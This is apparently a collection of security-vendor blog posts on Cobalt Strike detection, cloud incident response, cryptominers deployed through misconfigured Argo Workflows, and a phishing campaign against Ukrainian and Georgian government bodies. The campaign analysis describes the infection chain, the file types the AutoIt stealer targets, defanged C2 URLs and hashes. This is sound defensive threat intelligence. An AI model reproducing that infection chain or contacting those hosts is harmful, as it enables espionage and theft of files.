An endpoint with a system injected with Cobalt Strike via MSBuild is shown below. Note the process tree at the bottom indicating the “fileless code.”

Intezer Analyze endpoint scan of a Cobalt Strike-infected system via LotL technique.

Executables (EXE) Files

There is an acronym in the United States Armed Forces called “KISS.” KISS stands for “Keep it simple, stupid!” Sometimes simple is better, and another way for Cobalt Strike to be deployed is in a simple Windows EXE form. This requires either social engineering tactics to get the target to execute the malware or another program/script to execute the file. This process involves creation of a thread that sets up a named pipe for privilege escalation. Once the shellcode is written to the named pipe, it is decrypted and executed in a separate thread.

How to Detect?

An example of one of these payloads is shown in the analysis below. Notice how the Cobalt Strike code is only shown when it is executed and found in-memory.

Cobalt Strike found via memory analysis.

How can Cobalt Strike be detected and remediated?

Due to the many ways Cobalt Strike is deployed, detection can be hard. The use of shellcode, encoding, compression, obfuscated strings, process injection, hashing algorithms, domain fronting, different communication channels, and dynamically loaded libraries all give malware and network defenses a run for their money.

Static Analysis

Static analysis involves examining the file using various techniques without actually having to execute the file itself. Static analysis can involve hashing the file and finding intel on it, taking a look at the strings to see if there are functionality or network indicators, or checking imports and running signatures such as YARA for the file. Although useful, static analysis on its own is probably not sufficient to detect Cobalt Strike.

Using hash-based identification of Cobalt Strike is insufficient, since each payload will be encrypted with different keys and each configuration will uniquely change the hash value. It is trivial to generate a new payload for each new target.

Checking strings may be insufficient also. Strings for pipe names are dynamically generated and incorporate random numbers, meaning they can change every time the malware is executed. Encrypted payloads will also obfuscate useful strings from static analysis.

API Hashing algorithms employed by Cobalt Strike hide imports from static analysis techniques. Signature-based detection is great for detecting malware, but due to the versatility of Cobalt Strike’s deployment using multiple stages and encrypted/obfuscated payloads, an analyst may only be able to detect that a file is going to load and execute a payload in-memory. Without dynamic analysis, they won’t be able to detect exactly what that payload will be.

Dynamic Analysis

Dynamic analysis is the process of executing the suspect file in order to analyze its behavior and how it affects the environment it runs in. Dynamic analysis can open up new areas to explore as one can follow the malware through each stage of its deployment and functionality. Dynamic analysis can get the malware to unpack, decode, or download additional stages. These new stages are then subject to further dynamic analysis as well as the previously mentioned static analysis techniques.

Dynamic analysis does not have many limitations, although some malware includes functionality to detect if it is being observed or running inside a sandboxed environment. There is also the possibility that during dynamic analysis, areas of malicious code may not be intentionally executed, and thus not detected in the behavior. The best way to detect malicious code is via genetic code analysis which is done automatically in Intezer Analyze.

Combination of Several Techniques

The best way to detect Cobalt Strike code is through a combination of dynamic, static, and genetic analysis. Let’s take a suspicious looking document from an unknown entity as an example. Before opening the document, we submit it to Intezer Analyze and get the verdict, as shown below.

Intezer Analyze result showing in-memory Cobalt Strike code.

The document drops and executes Cobalt Strike in the memory space of rundll32.exe. Signatures are leveraged to show capabilities and file characteristics. Under the “TTPs” tab the user can see the techniques/capabilities employed by the malicious document.

TTPs section showing capabilities detected during execution.

The document displays interesting techniques such as macros with auto-execution, network activity with a unique user agent, office process starting martian subprocess, and process injection. You can also dive deeper into capabilities specific to the injected Cobalt Strike process.

The “IoCs” tab in Intezer Analyze shows indicators that can help you pivot and search in your environment during investigations to map out the scope of an attack. IoCs provides you with file hashes and network indicators such as URLs, and IP addresses being contacted through irregular ports.

IoCs tab showing file and network indicators.

The “Behavior” tab shows a more in-depth analysis of the file’s behavior, where you can see the process tree, network activity, screenshots and file/registry activity.

Behavior tab showing observed behavior during sandbox execution.

The Only Abused Pen Testing Tool?

Cobalt Strike is not the only penetration testing or legitimate tool that has been co-opted and abused by threat actors. In the past, tools such as Pafish (Paranoid Fish) have been used by Iranian actors in their tooling for virtual machine (VM) detection. The “Sysinternals” suite has been used extensively by threat actors. Most notably, PsExec has been used in high-profile attacks such as the 2017 NotPetya global ransomware outbreak.

More recently, legitimate and penetration testing tools for the cloud have been used by threat actors. The threat actor TeamTNT has used Weave Scope, a trusted tool which gives the user full access to their cloud environment, and is integrated with Docker, Kubernetes, the Distributed Cloud Operating System (DC/OS), and AWS Elastic Compute Cloud (EC2). The attacker installs this tool in order to map the cloud environment of their victim and execute system commands without needing to deploy malicious code on the server. The same group has also been documented using the penetration testing tool Break Out The Box (BOTB) for cloud and containerized environments.

Get Started for Free

With Intezer Analyze, you can analyze any suspicious files that you encounter, including non-executable files such as Microsoft Office documents, scripts, archives, and more. Stay on top of analyzing and classifying Cobalt Strike among other threats. Get started for free and start with 50 file uploads per month.

Guide to Digital Forensics Incident Response in the Cloud

Wed, 11 Aug 2021 00:00:00 +0000

Enterprises today rely on a wide range of cloud services—infrastructure as a service (IaaS), platform as a service (PaaS), software as a service (SaaS), and more—to meet their business needs. But the growing popularity of cloud has also led to an increase in attacks on cloud infrastructure, and thus the need for companies to develop strong security and incident response skills. Before we dive into incident response in the cloud, however, it’s important to distinguish between the responsibility of the cloud service provider (CSP) and that of the cloud consumer. According to the “shared responsibility model,” the CSP is responsible for securing the cloud, while security in the cloud falls on the customer. This means it’s the client’s job to protect their workloads (including applications, systems, and code) running on the CSP’s platform. With this responsibility placed on the customer, how they respond to an attack can have a significant impact on the mitigation of security breaches. But incidents in the cloud, such as those involving your EC2s, differ from those occurring on-premises (e.g., involving endpoints). This poses new challenges for incident response teams and requires different approaches. In this blog, we cover the differences between cloud forensics and forensics in on-premises systems. We also take a look at the incident response process for a real attack that was spotted in the wild.

Incident Response: Cloud vs. Endpoint

The incident response process involves a skilled response or security team gathering the information needed in order to conduct a thorough investigation of the incident. But incident response in the cloud presents obstacles that don’t exist when investigating standard endpoints. The main difference between cloud and on-premises systems is the degree of access and control a user has over resources. On-premises systems provide users full access to both hardware and software, while access in the cloud is limited depending on the type of service being used and the service provider. Because cloud systems are distributed, the forensic evidence may be spread out across the globe, making it difficult to gather all of the information needed to investigate. These factors need to be taken into consideration. The challenges of incident response in the cloud can be divided into six categories, each of which are covered below.

Collecting Forensic Evidence

When investigating incidents on endpoint or on-premises systems, the investigator has full access to all of the resources, including logs, memory dumps, hard drives, and more. But this isn’t the case in a cloud environment. First, access to the forensics data depends on the cloud model. For instance, IaaS customers will have access to more data relative to SaaS customers. For example, let’s assume attackers gained access to a messaging application (SaaS) used by company employees and stole sensitive data. In order to obtain the compromised/malicious account information (e.g., IP addresses and logs), the company would have to contact the messaging application and ask them to provide this information. On the other hand, if attackers gained access to an EC2 (IaaS) instance, as long as you have basic logging and monitoring capabilities, you’d be able to access more information on your own, without the help of the CSP. CSPs are not inclined to provide logs and data for fear of exposing sensitive information that could compromise them or their customers. In other cases, they may be reluctant to do so because they simply don’t know how to handle the event. If customers of service models like PaaS and SaaS depend on their CSP for logs, they may not have access to important information needed in order to conduct a thorough investigation. On the other hand, customers using IaaS have greater control and the ability to set up different logs. Customers should therefore configure logs and especially what to log. But logging everything isn’t the best solution, since this results in a huge amount of information that needs to be filtered, analyzed, and stored. Sifting through such large amounts of data during an investigation can be overwhelming and time-consuming. While CSPs provide logging services, the more logs your system produces, the more expensive it will be. The cost will also depend on whether you’re using AWS, Azure, or GCP.

Data is Volatile or Not Saved

The incident response process is based on collecting information, including events that happened prior to the incident. CSPs provide clients with many tools that need to be configured according to your organization’s needs. This means the amount of data you can collect depends on what you choose to log and store, as well as the time period for which the data is stored. In an IaaS like AWS, the data stored on the instances is lost after termination of the machine. As a result, important evidence is lost, including commands, scripts, processes, and files. Attackers can take advantage of this data loss to hide their malicious activity once they’ve completed their task.

No Physical Evidence

In the cloud, systems are distributed, and the physical components on which the data is stored may be in different geographic locations. This can make it nearly impossible to acquire the physical evidence or to perform physical forensics. Since each country has different laws, the process of seizing hardware involves collaboration between different governing legal authorities, which is a long and complicated process, with no guarantee the drives can be retrieved. Without access to the physical drives, investigators need to ensure they’re using the appropriate forensics tools, since many rely on access to hardware. This has created a real need for new tools developed specifically for cloud forensics.

Chain of Custody and Privacy Laws

Due to the nature of cloud computing and the way data is stored, a single physical hard drive may contain the information of multiple customers. CSPs must notify clients that their data is protected and logically segmented from other tenants so they know other tenants can’t access their information—and vice versa. This makes collecting data from the hard drive complicated, and ultimately, only the CSP will be able to do so. If evidence is presented in a court of law, the investigators must maintain the chain of custody of that evidence throughout the investigation. This becomes a major challenge due to multi-jurisdictional laws, further compounded when CSPs and other third-party companies join in the evidence collection process.

CSP Limitations

When an incident occurs, especially in SaaS and PaaS infrastructures, investigators must rely on the CSP to assist in the investigation. Another challenge is the dependency between CSPs and third parties. For example, a provider of email services may use a third-party platform to host its infrastructure. In the event of an incident, the investigators would have to collaborate with all of the entities in this chain of dependencies, each with their own incident response approaches and methods. Once again, this prolongates the incident response time.

Service-Level Agreement (SLA)

When it comes to SLAs, important terms related to forensics are often missing. This is due to both the failure of CSPs to provide full transparency in this regard as well as a lack of customer awareness on the matter. In the case of an incident, this creates an additional barrier for customers attempting to collect all the evidence needed for the investigation process.

Overcoming the Challenges of Incident Response in the Cloud

The incident response lifecycle can be broken down into four phases, as outlined by the National Institute of Standards and Technology (NIST). As visible from Figure 1, the process is cyclical, meaning it is an ongoing learning process whereby organizations can continue to improve their prevention and response methods.

Figure 1: Cycle of incident response (Source: The National Institute of Standards and Technology)

The challenges of incident response in the cloud are complex, and not all can be solved at once. However, there are actions that can be taken in the various stages of the process to help you better handle and investigate incidents.

Preparation Stage

Preparation is the most important stage. When your systems are well configured and your software is up to date, your response team will be prepared. This reduces incident handling time and even prevents attacks from happening in the first place.

Setting Logs

Logging events in the cloud is the key to proper incident handling. If your cloud provider offers logging options, you should use them. Just remember, logging everything isn’t ideal; instead, carefully choose which events and resources should be logged. For example, in order to set notifications for suspicious activities such as unusual access to secrets in your company’s cloud account, you can configure CloudTrail to log these events. Each provider has its own set of recommendations, so be sure to follow the CIS benchmark best practices for the CSP you are using, whether AWS, Azure, or GCP.

Rules and Permissions

Set permissions and rules for each user and group based on the principle of least privilege policy, where a user is given the minimum level of access and permissions they need to do their job. For example, each development team should only have access to the repositories and servers relevant to their specific departments, and developers should have permissions to add new code only to projects they are currently working on. But members of the finance department—or any other department that doesn’t require it—shouldn’t have access to any of these resources.

Zero Trust

Use the zero trust approach when configuring your network. Based on this concept, no device is trusted until its integrity and identity are verified. There are many ways to apply this model:

Implement a network and logical segmentation on the VPC in AWS, Azure Virtual Network (VNet), or GCP.
For access control:
- Identify all of the company’s employees and configure roles for each of them.
- Manage company devices (e.g., laptops) and verify their integrity using MDM solutions such as JumpCloud.
- Map permissions for each asset to each role in the company.
- Map the application employees need to use and implement SSO authentication.
- Implement two-factor authentication (2FA).

Notifications

Add alarms and notifications for specific events, but try to minimize false positive alerts. There are two types of alerts; those that are triggered by a user’s actions and those that come from system and metrics events. It’s important to configure both types, but the configuration of events that will trigger alerts also depends on your company’s organizational behavior. Examples include:

User alerts: If all of your company employees use the same VPN configuration, setting a geolocation login alert will notify you of any suspicious login attempts that do not originate from your VPN.
System alerts: If your cloud infrastructure doesn’t typically require high CPU and memory usage, setting an alert for high usage will allow you to address any anomalies in the system.

Prepare in Advance for Different Types of Attacks

Make sure you’re ready for whatever type of attack comes your way:

Backup and recovery: Develop a recovery plan and maintain up-to-date backups of your organization’s most valuable data. Using cloud backups, which employs versioning to make copies of all your files, will ensure continuous backup and make it easier to restore data after any attacks.
Playbooks: Prepare a playbook of routines and the actions for different incident scenarios.
Recovery drills: Prepare a recovery drill to test your backups so you’re fully prepared to use them when they are most needed.

These preparations can help with many different incidents, such as DDoS attacks that prevent customers from accessing your system, or ransomware attacks that encrypt all the files in your environment. Following the principles of chaos engineering, you can use automated tools like Chaos Monkey to test your system’s resilience. Last, define the impacts and prioritize risks for every component in your environment, so you know where to put your best efforts during an incident.

Know Your Runtime

Knowing what code is being executed in your environment makes it easy to detect any unauthorized code that could be part of an attack. A cloud workload protection platform (CWPP) that monitors your runtime and alerts you on the execution of code that deviates from your known code baseline will help you identify and stop attacks in their earliest stages.

Fix Misconfigurations

Cloud infrastructure can be complex, with many components and services that need to be configured. This increases your opportunity for error. Scanning your cloud environment for misconfigurations is important, because attackers are scanning as well. And if they find it before you do, the consequences can be catastrophic. There are many cloud security posture management (CSPM) tools that can be used for misconfiguration scanning. A few examples include:

GCP’s Security Command Center (SCC).
CloudSploit, an open-source project that finds security misconfigurations in cloud infrastructures.
OpenCSPM, an open-source project that provides visibility over the configuration of the cloud infrastructure.

Patch Vulnerabilities and Install System Updates

Keeping all the components of your cloud environment updated and patched can prevent attacks from happening in the first place. There are several open-source projects, such as Vuls, OpenVAS, and Xray, that can be used for vulnerability scanning.

Detection and Analysis

So if you’ve done everything you can to reduce the likelihood of an attack, where do you start when one happens? First, collect all of the information that indicates that an incident is occurring in the system, including logs, IP addresses, affected accounts, virtual images of the victim hosts, commands and scripts that are being executed, and so on. Next, analyze the evidence to better understand the incident and how you should respond to it. For example, let’s assume you got an alert on the creation of several new AWS instances. The first thing to check is the CloudTrial logs, where you’ll find RunInstances events as shown in Figure 2 below.

Figure 2: AWS CloudTrail logs showing RunInstances events

After you isolate the instances and connect securely (not from your personal computer), you find a suspicious file in the /tmp/kdevtmpfsi directory. After extracting the file from the machine either you or the threat analysis team will analyze the file and the events that led to the execution of the malware in an attempt to understand the threat and the damage to the environment. This process may take a long time especially for sophisticated threats.

Containment, Eradication, and Recovery

The next stage in the process involves:

Identifying and isolating the hosts or containers that were attacked to prevent the attack from spreading in the network.
Making a snapshot/copy of the instance and the volume that was attacked to preserve the evidence. Preserving the evidence is important for investigation of the incident. It will help you learn how the attackers got into the system, find compromised hosts, and understand the attack flow.

Post Incident

Once the incident is over:

Complete an incident response report and share it with relevant stakeholders in the organization so they can read and understand it. It’s important to document the investigation and findings to prevent similar events in the future, improve the incident response process, and to fix and add security measures.
Learn the kill chain of the attack based on the evidence you gathered, and monitor your systems for post-incident activity.
If the incident was caused by misconfigurations or vulnerabilities, make sure to patch and fix them.

Getting Started

Developing a reliable incident response process in cloud environments is a complicated and challenging task, with many factors that need to be taken into account. Even with the precautions detailed in this blog, breaches still happen—whether due to unknown vulnerabilities/misconfigurations, unauthorized access, or supply chain attacks. Having strong runtime threat detection and response capabilities is crucial.

Special thanks to Aner Izraeli for contributing to this post.

New Attacks on Kubernetes via Misconfigured Argo Workflows

Tue, 20 Jul 2021 00:00:00 +0000

Key Points

Intezer has detected a new attack vector against Kubernetes (K8s) clusters via misconfigured Argo Workflows instances.
Attackers are already taking advantage of this vector as we detected operators dropping cryptominers using this method in the wild.
We have identified infected nodes and there is the potential for larger scale attacks due to hundreds of misconfigured deployments. We have detected exposed instances of Argo Workflows that belong to companies from different sectors including technology, finance and logistics.
Argo Workflows is an open-source, container-native workflow engine designed to run on K8s clusters.
Argo Workflows instances with misconfigured permissions allow threat actors to run unauthorized code on the victim’s environment.

Overview

Kubernetes (K8s) is revolutionizing the cloud computing environment, having become the most popular platform for container orchestration. It is also one of the most popular repositories on GitHub, with over 100,000 commits and over 3,000 contributors. Each year there is a steady increase in enterprises using Kubernetes and the number of clusters they deploy. According to the Cloud Native Computing Foundation (CNCF) 2020 survey, 91% of respondents are using Kubernetes, compared to 78% in 2019 and 58% in 2018. In the same survey, it was reported that among the top challenges of using and deploying containers were complexity, security and lack of training.

With these challenges that enterprises face using containers and K8s clusters, there has never been a greater opportunity for attackers to exploit weaknesses in security. Applications such as “Argo Workflows” orchestrate parallel jobs in Kubernetes by providing a friendly user interface and the ability to run CI/CD pipelines without having to configure “complex software development products.” The application is marketed to “Easily run compute intensive jobs for machine learning or data processing in a fraction of the time using Argo Workflows on Kubernetes.” Even with products like Argo helping to reduce the complexity of deployment, there is still always the possibility of misconfiguration or exploitation.

Recently, while studying the impact of exposed Argo Workflows instances, we discovered a number of unprotected instances, operated by companies in several industries including technology, finance and logistics. Exposed instances can contain sensitive information such as code, credentials and private container image names. We also discovered that in many instances, permissions are configured which allow any visiting user to deploy workflows. We also detected that some misconfigured nodes are being targeted by threat actors. An example of an attack found in the wild, launching a popular cryptocurrency miner container, is described later in this blog.

Argo Overview

The core resource in Argo is the “Workflow.” The workflow is defined using a YAML file containing a spec for the type of work to be performed. Most commonly, each step in an Argo workflow is a container. An example “Hello World” workflow is shown below:

These workflows are executed from a template or submitted directly through the Argo user interface, as shown below:

How Argo is Abused by Attackers

In instances when permissions are misconfigured, it is possible for an attacker to access an open Argo dashboard and submit their own workflow. In one cluster, we noticed that a popular cryptocurrency mining container, kannix/monero-miner, was being deployed. An example of an in the wild attack, still running on an exposed cluster for nine months, is shown below.

The kannix/monero-miner (now removed from Docker Hub) was a popular image which used XMRig to mine for Monero cryptocurrency. Its ease of use allowed it to be conveniently used by threat actors of any skill level to conduct cryptojacking; since all that was required was to change the address of who the mined cryptocurrency would be deposited to. This same container was mentioned in a blog post by Azure Security Center, which stated that this container was used in a large-scale cryptocurrency mining attack against Kubernetes clusters.

In Docker Hub there are still a number of options for Monero mining that attackers can use. With a simple search it shows that there are at least 45 other containers with millions of downloads.

Using another popular container, giansalex/monero-miner, we detected an XMRig Miner running on the cluster via Argo Workflows.

Mitigation Advice

For a quick check that an instance is misconfigured, try accessing the Argo Workflows dashboard from an unauthenticated incognito browser outside your corporate environment. Another option is to query the API of your instance and check the status code. Make a HTTP GET request to [your.instance:port]/api/v1/info. A returned HTTP status code of 401 Unauthorized while being an unauthenticated user will indicate a correctly configured instance, whereas a successful status code of 200 Success could indicate that an unauthorized user is able to access the instance.

It is critical to ensure that best practices for permissions are followed in order to prevent unauthorized activity in your environments. Methodologies such as the principle of least privilege (PoLP) should be followed and always refer to the application documentation for best practices on security.

Even if your cluster is deployed on a managed cloud Kubernetes service such as Amazon Web Services (AWS), EKS or Azure Kubernetes Service (AKS), the shared responsibility model still states that the cloud customer, not the cloud provider, is responsible for taking care of all necessary security configurations for the applications they deploy.

If you suspect that your Argo instance has been misconfigured and exposed to the internet with excessive permissions, check for any suspicious activity in the logs and in the workflow timeline. Make sure that there are no workflows that have been running for an excessive amount of time. This might be an indicator of a cryptominer running on your cluster. You can also check out our article on best practices for securing your Kubernetes environment.

Runtime Protection for Kubernetes Security

It is impossible to completely remove all vulnerabilities or misconfigurations in cloud applications deployed by any entity. New attack vectors, vulnerabilities and misconfigurations are being detected and exploited all the time. Therefore, it is important to have a safety net that can always ensure that only trusted code is running in your environment. In the event that an attacker has exploited a misconfiguration or vulnerability in your K8s cluster or applications running on clusters, runtime protection solutions give immediate visibility over all code running on your pods, nodes, and clusters, and help you detect and respond to attacks in your environment.

Targeted Phishing Attack against Ukrainian Government Expands to Georgia

Wed, 14 Jul 2021 00:00:00 +0000

In May 2021, Fortinet published a report about the early stages of an ongoing phishing attack against the Ukrainian government. The attack, initially based on the Saint Bot downloader, also targeted Georgia as reported by Malwarebytes. Since June we have seen this threat actor expand its operation with new samples targeting government entities in Georgia. In this report we will cover the new malware samples we found.

Method of Infection

The attack’s entry point is a spear phishing email referencing government-related topics including veterans, Ukraine’s Anti-Terrorist Operation (ATO), Georgia’s Internally Displaced Persons (IDPs), organizations in Georgia’s private sector and COVID-19. The attack mainly targets government agencies in Ukraine and Georgia.

The Malware

The main payload delivered by the malware is an infostealer written in AutoIt. Its main goal is to steal files from the victim’s machine, uploading them to a predefined Command and control (C2) server.

Based on victimology and the fact that this attack tries to steal files from government entities, a classic goal of nation-state groups, it is likely operated by a Russian nation-state. There are also several similarities between this attack and past APT28 campaigns which we will discuss later.

Below we summarize the early stages of the attack and show the latest malware targeting government entities in Georgia. We assess with high confidence that this attack may expand its operations to target additional Eastern European countries.

Technical Analysis

The attack flow, described below, begins with a phishing email containing a malicious shortened URL. The URL redirects to a Command and control (C2) where a ZIP file or malicious document is hosted. The ZIP file contains a malicious file and in some emails also a harmless PDF file. The malicious attachment varies between RTF, DOC, PDF, JS, LNK or EXE. Its main goal is to drop the packed payloads from the C2. The method in which a dropper contacts the C2 in order to deliver the packed payload varies between the different file types and stages of the attack. The packed executable loads an AutoIt payload into memory. The payload searches for files on the victim’s machine based on a list of file extensions and uploads them to a C2 that is hardcoded in the script.

Attack flow.

An example of one of the phishing emails sent to the Ukrainian government is below. The threat actor references payments made to veterans of the Anti-Terrorist Operation (ATO).

Phishing email sent to the Ukrainian government. Translation from Ukrainian – Subject: Payments to ATO Veterans. Content: It must be filled in and sent back.

The link, masqueraded as a Ukrainian .gov domain, is actually a shortened URL (https[://]cutt[.]ly/WcBTVdf) which contacts http[://]gosloto[.]site/doc/form_request.doc and downloads form_request.doc to the victim’s machine. This document is an RTF file that once runs will present content related to the Israeli Merkava, the main battle tank used by the Israeli Defense Forces.

Reference to Israeli Merkava in the RTF file.

This file is incharge of dropping the final payload from the C2. In other phishing emails, this file is named NATO_06042021 (44697aad796c0d82c1adbee15fd1266b).

First we Take Kyiv, then we Take Tbilisi

Combined with continuous attacks against Ukraine, the threat actor has expanded its campaign to target government entities in Georgia. The following malicious documents were uploaded to VirusTotal from Georgia on June 17 and July 5.

b56975725c4e260370af540f9c0b6709 — Georgia_Private_Sector_Poster_Inputs_06_2021.pdf
900e892c8151f0f59a93af1206583ce6 — 2021-2022 Strategy Action Plan for IDPs.doc (translated from Georgian)
333796e18eb3f3d1529d07ec90c63e61 — Change to 828.doc (translated from Georgian)

All three files have low detection rates in VirusTotal at the time of this writing. In the following sections we will describe each file’s behavior.

b56975725c4e260370af540f9c0b6709 in VirusTotal.

The PDF File

The PDF file, named Georgia_Private_Sector_Poster_Inputs_06_2021.pdf, was uploaded to VirusTotal on June 17, 2021. The PDF contains an action object. Upon a victim opening the PDF it will send a query to Google containing the C2: http://www[.]google[.]com/url?q=http%3A%2F%2F93482432493824792343432843240234327488 92349702394023.xyz&sa=D&sntz=1&usg=AFQjCNFWmVffgSGlrrv-2U9sSOJYzfUQqw) The system will prompt a security warning allowing the document to contact http[:]//www.google.com.

Action object in b56975725c4e260370af540f9c0b6709

System prompt message.

Once the document connects to Google a short series of network redirections occurs. First, Google will redirect to the C2’s URL. Then, as described in the image below, the C2 contains a frame with an src to another C2 URL (https[://]16868138130[.]space/000/), which then redirects to a shortened URL (https[://]qaz[.]im/load/rKtsZD/hDKKFD) using a meta refresh redirect. This will finally drop georgia_private_sector_poster_inputs_06_2021.cpl (02f0118bd15dabf727659b9fd27c86c9).

Network redirections for delivering the payload.

This redirection process, starting with Google as the first domain the PDF attempts to access, is an obvious Antivirus evasion technique.

georgia_private_sector_poster_inputs_06_2021.cpl is a DLL which upon clicking on it, runs under a trusted control panel process. The DLL is incharge of dropping and running the packed payload from the C2, 16868138130[.]space/000/000.exe (41af4d9fbd0bc719212b78cd7a1b89ec). The packed malware loads the AutoIt payload into memory.

Genetic report of 02f0118bd15dabf727659b9fd27c86c9. Drops 41af4d9fbd0bc719212b78cd7a1b89ec which loads AutoIt into memory.

IoC report of 02f0118bd15dabf727659b9fd27c86c9 in Intezer Analyze.

The AutoIt script’s main goal is to upload files from the victim’s machine to a predefined C2. The main logic (see image below) calls the _filsearch function (two images below) which looks for files containing the following extensions: *.doc;*.pdf;*.ppt;*.dot;*.xl;*.csv;*.rtf;*.dot;*.mdb;*.accdb;*.pot;*.pps;*.ppa;*.rar;*.zip;*.tar;*.7z;*.txt. _filsearch uses @ComSpec environment variable (which usually points to CMD). The process tree created by the AutoIt file is below.

Code snippet from the AutoIt script main logic.

Code snippet from the AutoIt script _filsearch function.

Process tree snippet in Intezer Analyze.

Each file is uploaded to the C2 via a multipart/form-data POST request. The file’s directory is sent as Hex. Below is an example of a file upload request.

Example of C_/Users/admin/AppData/Roaming/Microsoft/Windows/Cookies/NUT28OOW.txt file upload.

Lastly, the AutoIt script creates and runs a batch named r.bat which deletes the malware from disk and kills the process.

The Document Files

Both malicious Word documents uploaded to VirusTotal on July 5 display similar behavior. Let’s look at 900e892c8151f0f59a93af1206583ce6. Once a user opens this document, it will run a VBA macro with the main logic to create, write to and run a batch file named ballDemocrat.bat. The script written to the batch file will run a PowerShell command that drops an executable from the C2 (http[://]1221[.]site/15858415841/0407.exe) and saves it as centuryarticle.exe.

VBA script (7546f382d73231a4c1fdc58ab1535ec0) in the malicious document.

Process tree of 900e892c8151f0f59a93af1206583ce6

The file dropped from the C2 is a packed .NET file that loads the AutoIt payload into memory.

Possible Russian Connection

We noticed similarities between this attack and Russia’s APT28 campaigns. While these similarities alone are not enough to attribute APT28, victimology and intent to conduct espionage on various government entities in Eastern European regions gives us reason to believe that Russia is behind the attack.

Victimology: APT28 has targeted Ukraine and Georgia in the past. [1][2][3]
Phishing theme: APT28 previously used COVID-19-related phishing themes to target countries including Ukraine. APT28 also used NATO as a phishing theme in the past. [1][2][4][5]
Use of AutoIt: One of Zebrocy’s (malware from APT28) variants is written in AutoIt. [6][7]
File search with predefined extensions: Zebrocy searches for predefined file extensions on the victim machine. [8][9][13]
Compressed file holding both malicious and benign files was used in an APT28 COVID-19 phishing attack last year and in other campaigns in the past. [4][8]
Use of spear phishing emails containing URL-shortener was documented in past APT28 campaigns. In one of the campaigns, this URL hosted a ZIP file containing a benign PDF and a malicious executable. [8][10][11]
Use of Hex encoding: The Zebrocy AutoIt version uses String to Hex encoding. [7]
Use of batch files, PowerShell and CMD are part of APT28’s documented TTPs. [8][12]

Mitigation

Take the following precautions to keep your organization clean and safe from phishing attacks.

Enhance social engineering awareness within your organization.
Use an email gateway to analyze attachments and links. Intezer Analyze now supports analysis for Microsoft Office documents, PDFs and scripts.
Conduct proactive threat hunting on all endpoints inside your organization to routinely ensure that no traces of malicious code or malware exist in-memory. Intezer’s live Endpoint Scanner can help you achieve this at scale by collecting all binaries running in-memory, including fileless, and classifying them using Genetic Code Analysis technology. We also have a Volatility plugin for analyzing memory dumps.

IoCs

AutoIt Payload Script

The AutoIt script can be found in the following GitHub repository.

Delivery Files

RTF

a60f4a353ea89adc8def453c8a1e65ea2ecc46c64d0d9ea375ca4e85e1c428fd
52173598ca2f4a023ec193261b0f65f57d9be3cb448cd6e2fcc0c8f3f15eaaf7
2ec710d38a0919f9f472b220cfe8d554a30d24bfa4bdd90b96105cee842cf40d
9803e65afa5b8eef0b6f7ced42ebd15f979889b791b8eadfc98e7f102853451a
f357f9bf438f44b2029dfa12c03856393484f723b9df03ecde3e1ef03ddffcb7

DOC

0be1801a6c5ca473e2563b6b77e76167d88828e1347db4215b7a83e161dae67f
96f815abb422bb75117e867384306a3f1b3625e48b81c44ebf032953deb2b3ff

LNK

101d9f3a9e4a8d0c8d80bcd40082e10ab71a7d45a04ab443ef8761dfad246ca5
Ced5f53bafc5896be0a62ed5bdabed38a6224f8dcbe61669e833749ff62693dd
2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d

ZIP

275388ffad3a1046087068a296a6060ed372d5d4ef6cf174f55c3b4ec7e8a0e8
A16e466bed46fcf9c0a771ca0e41bc42a1ac13e66717354e4824f61d1695dbb1
47e1991f94309566e35ea57507c7c8d013103e860f12f2166450900e8179a75e
E39a12f34bb8a7a5a03fd23f351846088692e1248a3952e488102d3aea577644
677500881c64f4789025f46f3d0e853c00f2f41216eb2f2aaa1a6c59884b04cc
5227adda2d80fb9b66110eeb26d57e69bbbb7bd681aecc3b1e882dc15e06be17
a856ae150144179848e0cc9be7618b4404c20c356eb93db490c8496ae2775b5e

CPL

10d21d4bf93e78a059a32b0210bd7891e349aabe88d0184d162c104b1e8bee2e
0c644fedcb4298b705d24f2dee45dda0ae5dd6322d1607e342bcf1d42b59436c
0db336cab2ca69d630d6b7676e5eab86252673b1197b34cf4e3351807229f12a
72f57b040d6f523afee40159a743b1ecae685a5bf939cab06b78d1fc397ec5e7
64057982a5874a9ccdb1b53fc15dd40f298eda2eb38324ac676329f5c81b64e0
f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4f71b8

JS

5d9c7192cae28f4b6cc0463efe8f4361e449f87c2ad5e74a6192a0ad96525417
fe49909fdd70192e3367d4d88458afbaf817e7a50acae199db97bd68358b241e

PDF

f69125eafdd54e1aae10707e0d95b0526e80b3b224f2b64f5f6d65485ca9e886

Packed AutoIT Infostealer

cd93f6df63187e3ac31ea56339f9b859b0f4fbe3e73e1c07192cef4c9a6f8b08
4fdc37f59801976606849882095992efecee0931ece77d74015113123643796e
2bef4a398a88749828afac59b773ae8b31c8e4e5b499aad516dd39ada1a11eca
d6e2a79bc87d48819fabe332dd3539f572605bb6091d34ae7d25ae0934b606b5
6ee2fd3994acdbb9a1b1680ccd3ac4b7dcb077b30b44c8677252202a03dccf79
ea9e5ad0ef82af2c0c75c371e683352a781eb2260a45c584d70995edec956ce9
0d83c1f7d2d7ea0e7fe144933bfa9dd314dae3937af714ea9274f43641756060
4d59a7739f15c17f144587762447d5abb81c01f16224a3f7ce5897d1b6f7ee77
39e8455d21447e32141dc064eb7504c6925f823bf6d9c8ce004d44cb8facc80b
cb4a93864a19fc14c1e5221912f8e7f409b5b8d835f1b3acc3712b80e4a909f1
b72188ba545ad865eb34954afbbdf2c9e8ebc465a87c5122cebb711f41005939
005d2d373e7ba5ee42010870b9f9bf829213a42b2dd3c4f3f4405c8b904641f2
ba4b321bf2bc542d9e9bcfcf54bc98335acd0b27a5e5851f4667e6b23d968a04
b0b4550ba09080e02c8a15cec8b5aeaa9fbb193cec1d92c793bdede78a70cec6
a9a89bb76c6f06277b729bc2de5e1aaef05fc0d9675edbc0895c7591c35f17eb
bd83e801b836906bab4854351b4d6000e0a435736524a504b9839b5f7bdf97cc
3075a467e89643d1f37e9413a2b38328fbec4dd1717ae57128fdf1da2fe39819
8ab3879ed4b1601feb0de11637c9c4d1baeb5266f399d822f565299e5c1cd0c4
b83c41763b5e861e15614d3d6ab8573c7948bf176143ee4142516e9b8bcb4423
0222f6bdfd21c41650bcb056f618ee9e4724e722b3abcd8731b92a99167c6f8d
b02c420e6f8a977cd254cd69281a7e8ce8026bda3fc594e1fc550c3b5e41565d
6a698edb366f25f156e4b481639903d816c5f5525668f65e2c097ef682afc269
